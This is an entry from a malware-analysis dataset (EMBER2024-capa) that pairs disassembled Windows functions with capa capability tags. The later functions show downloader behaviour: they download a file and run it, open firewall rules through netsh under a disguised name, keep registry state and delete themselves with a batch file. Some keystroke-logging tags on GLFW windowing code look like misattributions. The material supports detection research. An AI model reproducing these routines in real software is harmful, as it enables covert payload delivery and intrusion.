joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140048ab0
Capabilities:
Log keystrokes via polling

Disassembly:
cmp dword [0x14007f6c0], 0
jne 0x140046a65
xor edx, edx
mov ecx, 0x10001
jmp fcn.140047bc0
jmp 0x140048ab0
push rbx
sub rsp, 0xa0
mov rax, qword [0x14007e010]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140048b4a
nop word [rax + rax]
cmp dword [rsp + 0x38], 0x12
jne 0x140048b15
mov rbx, qword [0x14007fab0]
test rbx, rbx
je 0x140048b2b
mov rcx, rbx
call fcn.1400461a0
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140048b03
jmp 0x140048b2b
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x140048af0
call qword [sym.imp.USER32.dll_GetActiveWindow]
test rax, rax
je 0x140048c47
lea rdx, str.GLFW
mov qword [rsp + 0xc0], rdi
mov rcx, rax
call qword [sym.imp.USER32.dll_GetPropW]
mov rdi, rax
test rax, rax
je 0x140048c3f
movdqa xmm0, xmmword [0x14006c770]
xor ebx, ebx
movdqa xmm1, xmmword [0x14006c780]
mov qword [rsp + 0xb0], rbp
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0xc8], r12
mov qword [rsp + 0x98], r14
mov qword [rsp + 0x90], r15
lea r15, [0x140081198]
movdqu xmmword [rsp + 0x60], xmm0
movdqu xmmword [rsp + 0x70], xmm1
nop word [rax + rax]
movsxd rbp, dword [rsp + rbx*8 + 0x64]
mov ecx, dword [rsp + rbx*8 + 0x60]
movsx r14d, word [r15 + rbp*2]
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xf
jb 0x140048c0e
cmp byte [rbp + rdi + 0x88], 1
jne 0x140048c0e
call fcn.14004a2f0
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov r8d, r14d
mov edx, ebp
mov rcx, rdi
call fcn.140044990
inc rbx
cmp rbx, 4
jl 0x140048bd0
mov r15, qword [rsp + 0x90]
mov r14, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
mov rsi, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
mov rdi, qword [rsp + 0xc0]
mov rbx, qword [0x140081b38]
test rbx, rbx
je 0x140048cc9
mov rcx, qword [rbx + 0x350]
lea rdx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rsp + 0x68]
mov r8d, dword [rsp + 0x6c]
cdq
sub eax, edx
sar eax, 1
mov ecx, eax
cmp dword [rbx + 0x388], eax
jne 0x140048c8d
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
cmp dword [rbx + 0x38c], eax
je 0x140048cc9
mov eax, r8d
mov dword [rsp + 0x60], ecx
cdq
mov dword [rbx + 0x388], ecx
mov rcx, qword [rbx + 0x350]
sub eax, edx
sar eax, 1
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x64], eax
mov dword [rbx + 0x38c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140042830
add rsp, 0xa0
pop rbx
ret
Function at 0x14004a060
Capabilities:
Register raw input devices

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov qword [0x140081b38], rcx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x14004a0b5
mov rcx, qword [rbx + 0x350]
lea rdx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_ScreenToClient]
movd xmm0, dword [rsp + 0x40]
movd xmm1, dword [rsp + 0x44]
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
movsd qword [0x140081b28], xmm0
movsd qword [0x140081b30], xmm1
cmp dword [rbx + 0x7c], 0x34001
jne 0x14004a0df
mov rcx, qword [rbx + 0x50]
test rcx, rcx
je 0x14004a0cd
mov rcx, qword [rcx + 8]
jmp 0x14004a0e1
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
jmp 0x14004a0e1
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, rbx
call fcn.140044680
mov rcx, rbx
call fcn.14004a490
cmp dword [rbx + 0x1f8], 0
je 0x14004a13e
mov rax, qword [rbx + 0x350]
lea rcx, [rsp + 0x20]
mov edx, 1
mov qword [rsp + 0x20], 0x20001
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x14004a13e
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.14004dcd0
add rsp, 0x30
pop rbx
ret

Function at 0x14004a150
Capabilities:
Register raw input devices

Disassembly:
push rbx
sub rsp, 0x30
cmp dword [rcx + 0x1f8], 0
mov rbx, rcx
je 0x14004a1a0
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x14004a1a0
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.14004dcd0
xor ecx, ecx
mov qword [0x140081b38], 0
call fcn.14004a490
cvttsd2si ecx, qword [0x140081b28]
lea rdx, [rsp + 0x40]
cvttsd2si eax, qword [0x140081b30]
mov dword [rsp + 0x40], ecx
mov dword [rbx + 0x388], ecx
mov rcx, qword [rbx + 0x350]
mov dword [rsp + 0x44], eax
mov dword [rbx + 0x38c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.USER32.dll_SetCursorPos]
cmp dword [rbx + 0x7c], 0x34001
jne 0x14004a234
mov rcx, qword [rbx + 0x50]
test rcx, rcx
je 0x14004a218
mov rcx, qword [rcx + 8]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
xor ecx, ecx
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
Function at 0x14004a2f0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebx, ax
mov ecx, 0x11
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, ebx
mov esi, 0x8000
or edi, 2
mov ecx, 0x12
and ax, si
cmove edi, ebx
call qword [sym.imp.USER32.dll_GetKeyState]
and ax, si
mov ecx, 0x5c
mov esi, edi
or esi, 4
test ax, ax
cmove esi, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x5b
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, esi
mov ecx, 0x14
or edi, 8
or bx, ax
cmovns edi, esi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ebx, edi
mov ecx, 0x90
or ebx, 0x10
and al, 1
cmove ebx, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov rsi, qword [rsp + 0x38]
mov ecx, ebx
or ecx, 0x20
and al, 1
cmove ecx, ebx
mov rbx, qword [rsp + 0x30]
mov eax, ecx
add rsp, 0x20
pop rdi
ret

Function at 0x14004b6d0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx + 4], eax
cmp eax, 0xffffffff
jne 0x14004b700
lea rdx, str.Win32:_Failed_to_allocate_TLS_index
mov ecx, 0x10008
call fcn.14004dcd0
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov dword [rbx], 1
mov eax, 1
add rsp, 0x20
pop rbx
ret
Function at 0x14004e4f0
Capabilities:
Log keystrokes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x14007e010]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [0x140081452]
mov r8d, 0x6d1
call sub.VCRUNTIME140.dll_memset
lea r14, [rsp + 0x40]
mov qword [rsp + 0x1e0], rdi
sub r14, 0x480
lea r15, [0x1400811d8]
xor r13d, r13d
lea r12, [0x1400814f2]
mov ebx, 0x20
movsx esi, word [r15]
cmp esi, 0xffffffff
je 0x14004e695
cmp ebx, 0x140
jb 0x14004e610
cmp ebx, 0x14e
ja 0x14004e610
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x44], 0x61
mov dword [rsp + 0x48], 0x62
mov dword [rsp + 0x4c], 0x63
mov dword [rsp + 0x50], 0x64
mov dword [rsp + 0x54], 0x65
mov dword [rsp + 0x58], 0x66
mov dword [rsp + 0x5c], 0x67
mov dword [rsp + 0x60], 0x68
mov dword [rsp + 0x64], 0x69
mov dword [rsp + 0x68], 0x6e
mov dword [rsp + 0x6c], 0x6f
mov dword [rsp + 0x70], 0x6a
mov dword [rsp + 0x74], 0x6d
mov dword [rsp + 0x78], 0x6b
mov edi, dword [r14]
jmp 0x14004e61f
mov edx, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edi, eax
mov dword [rsp + 0x28], r13d
lea r9, [rbp - 0x80]
lea r8, [rbp - 0x60]
mov dword [rsp + 0x20], 0x10
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 0xffffffff
jne 0x14004e662
mov dword [rsp + 0x28], r13d
lea r9, [rbp - 0x80]
lea r8, [rbp - 0x60]
mov dword [rsp + 0x20], 0x10
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 1
jl 0x14004e695
mov qword [rsp + 0x38], r13
lea r8, [rbp - 0x80]
mov qword [rsp + 0x30], r13
mov r9d, 1
mov dword [rsp + 0x28], 5
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc ebx
add r12, 5
add r14, 4
add r15, 2
cmp ebx, 0x15c
jle 0x14004e572
mov rdi, qword [rsp + 0x1e0]
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140042830
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400512b0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x48
mov rax, qword [0x14007e010]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp qword [0x140081d68], 0
lea rax, str.libOSMesa.dll
lea rcx, str.OSMesa.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 0
je 0x140051305
mov eax, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140042830
add rsp, 0x48
ret
mov qword [rsp + 0x40], rbx
xor ebx, ebx
nop dword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140081d68], rax
test rax, rax
jne 0x140051348
mov rax, qword [rsp + rbx*8 + 0x28]
inc rbx
test rax, rax
jne 0x140051310
lea rdx, str.OSMesa:_Library_not_found
mov ecx, 0x10006
call fcn.140047bc0
jmp 0x14005146d
lea rdx, str.OSMesaCreateContextExt
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140081d68]
lea rdx, str.OSMesaCreateContextAttribs
mov qword [0x140081d70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140081d68]
lea rdx, str.OSMesaDestroyContext
mov qword [0x140081d78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140081d68]
lea rdx, str.OSMesaMakeCurrent
mov qword [0x140081d80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140081d68]
lea rdx, str.OSMesaGetColorBuffer
mov qword [0x140081d88], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140081d68]
lea rdx, str.OSMesaGetDepthBuffer
mov qword [0x140081d90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140081d68]
lea rdx, str.OSMesaGetProcAddress
mov qword [0x140081d98], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140081d70], 0
mov qword [0x140081da0], rax
je 0x14005143f
cmp qword [0x140081d80], 0
je 0x14005143f
cmp qword [0x140081d88], 0
je 0x14005143f
cmp qword [0x140081d90], 0
je 0x14005143f
cmp qword [0x140081d98], 0
je 0x14005143f
test rax, rax
je 0x14005143f
mov eax, 1
jmp 0x14005146f
lea rdx, str.OSMesa:_Failed_to_load_required_entry_points
mov ecx, 0x10008
call fcn.140047bc0
mov rcx, qword [0x140081d68]
test rcx, rcx
je 0x14005146d
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x140081d68], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140042830
add rsp, 0x48
ret
Function at 0x140001000
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x280
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r12, rcx
mov rsi, rdx
xor ebx, ebx
lea ecx, [rbx + 0xf]
xor edx, edx
mov dword [rsp + 0x30], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x30]
mov rcx, rax
mov rbp, rax
call sub.KERNEL32.dll_Process32First
nop word [rax + rax]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x5c]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x14000109e
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x5c]
cmp cl, 0x41
jl 0x140001096
cmp cl, 0x5f
jg 0x140001096
add cl, 0x20
mov byte [rsp + rax + 0x5c], cl
inc rax
cmp rax, rdx
jl 0x140001080
lea rax, [rsp + 0x5c]
mov rdi, r12
sub rdi, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x1400010c2
inc rax
test ecx, ecx
jne 0x1400010b0
test edx, edx
je 0x1400010dc
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001060
jmp 0x14000115c
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140001157
lea rcx, [rsp + 0x160]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x160]
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
lea rax, [rsp + 0x160]
lea rdx, [rsp + 0x160]
sub rsi, rax
nop
movzx eax, byte [rdx]
inc rdx
mov byte [rsi + rdx - 1], al
test al, al
jne 0x140001140
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001e10
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x140001190
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
lea rax, [rsp + 0x78]
lea rdx, str.SOFTWARENetWorkProNT32
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x68], 4
mov dword [rsp + 0x60], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor r9d, r9d
test eax, eax
jne 0x140001204
mov rdx, qword [section..data]
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001244
lea ebx, [rax + 1]
jmp 0x140001279
lea rax, [rsp + 0x70]
lea rdx, str.SOFTWARENetWorkProNT32
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x78]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001279
mov rdx, qword [section..data]
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140001289
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x50
pop rbx
ret

Function at 0x1400012a0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x158
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call sub.MSVCR90.dll_memset
call fcn.140001190
test eax, eax
je 0x1400012f3
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001e10
add rsp, 0x158
ret
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rdx, str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r11d, r11d
lea r9, [rsp + 0x30]
mov dword [rsp + 0x28], r11d
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001e10
add rsp, 0x158
ret
Function at 0x140001370
Capabilities:
Create process on windows
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x280
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x161]
xor ebx, ebx
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x160], bl
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x50], bl
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x160]
lea rcx, str.asdsvc.exe
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x30], ebx
call section..text
test eax, eax
je 0x1400014f8
call fcn.1400012a0
lea r11, [rsp + 0x38]
lea rdx, str.SOFTWARENetWorkProNT32
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400014e6
mov rdx, qword [section..data]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001456
cmp dword [rsp + 0x30], 2
je 0x1400014e6
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [rsp + 0x160]
lea rdx, str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x50]
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [section..data]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x30], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 1
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400014f6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001e10
add rsp, 0x280
pop rbx
ret
Function at 0x140001630
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x390
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x380], rax
lea rdx, [rsp + 0x50]
xor ebp, ebp
mov ecx, 0x104
mov dword [rsp + 0x40], ebp
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str._unins_stmc64.bat
lea rcx, [rsp + 0x50]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x160]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x270]
call sub.MSVCR90.dll_strcpy
lea edx, [rbp + 0x5c]
lea rcx, [rsp + 0x270]
call qword [sym.imp.MSVCR90.dll_strrchr]
test rax, rax
je 0x1400016ba
mov byte [rax], bpl
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400017dc
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x3a0], rbx
mov qword [rsp + 0x3a8], rsi
call sub.MSVCR90.dll_strlen
lea rcx, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_ndel___s_
lea ebx, [rax + rax*2]
call sub.MSVCR90.dll_strlen
lea rcx, [rsp + 0x50]
add ebx, eax
call sub.MSVCR90.dll_strlen
lea ecx, [rax + rbx + 0x32]
movsxd rbx, ecx
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_malloc]
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rsi, rax
call sub.MSVCR90.dll_memset
lea r11, [rsp + 0x50]
lea r9, [rsp + 0x160]
lea r8, [rsp + 0x160]
lea rdx, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_ndel___s_
mov rcx, rsi
mov qword [rsp + 0x20], r11
call qword [sym.imp.MSVCR90.dll_sprintf]
mov rcx, rsi
call sub.MSVCR90.dll_strlen
lea r9, [rsp + 0x40]
mov rdx, rsi
mov rcx, rdi
mov r8, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x50]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x3a0]
test rsi, rsi
je 0x1400017d4
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_free]
mov rsi, qword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.140001e10
mov rbp, qword [rsp + 0x3b0]
add rsp, 0x390
pop rdi
ret
Function at 0x140001800
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x40
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rbx
lea rdx, str.SOFTWARENetWorkProNT32
xor ebx, ebx
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov edi, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001984
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
lea rdx, str.IP_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x58], 4
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001984
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea rsi, [0x140004180]
lea rdx, str.GATEWAY1_Value
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x50], 0x104
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001912
mov rcx, rsi
call sub.MSVCR90.dll_strlen
mov r8d, ebx
mov rcx, rbx
movsxd r9, eax
test eax, eax
jle 0x14000190d
nop word [rax + rax]
mov eax, 0x55555556
inc rcx
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
add al, al
add dl, al
movzx eax, r8b
inc r8d
sub al, dl
add al, 2
add byte [rcx + rsi - 1], al
cmp rcx, r9
jl 0x1400018e0
mov edi, 1
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
lea rsi, [0x140004290]
mov qword [rsp + 0x28], rax
lea rdx, str.GATEWAY2_Value
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x50], 0x104
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000197f
mov rcx, rsi
call sub.MSVCR90.dll_strlen
mov rcx, rbx
movsxd r8, eax
test eax, eax
jle 0x14000197a
nop
mov eax, ebx
inc rcx
inc ebx
cdq
and eax, 1
xor eax, edx
sub eax, edx
inc al
add byte [rcx + rsi - 1], al
cmp rcx, r8
jl 0x140001960
mov edi, 1
mov rsi, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x38]
test rcx, rcx
je 0x140001999
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
add rsp, 0x40
pop rdi
ret

Function at 0x1400019b0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebp, ebp
mov rdi, rdx
mov rsi, rcx
mov ebx, ebp
nop
xor r9d, r9d
mov r8, rdi
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rbp
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x1400019ff
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x64
jl 0x1400019d0
mov eax, ebp
jmp 0x140001a4d
mov rcx, rdi
call fcn.140001520
cmp eax, 0x1f40
jbe 0x140001a40
mov ebx, 1
call fcn.140001370
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.open
xor r9d, r9d
mov r8, rdi
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140001a42
mov ebx, ebp
mov rcx, rsi
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret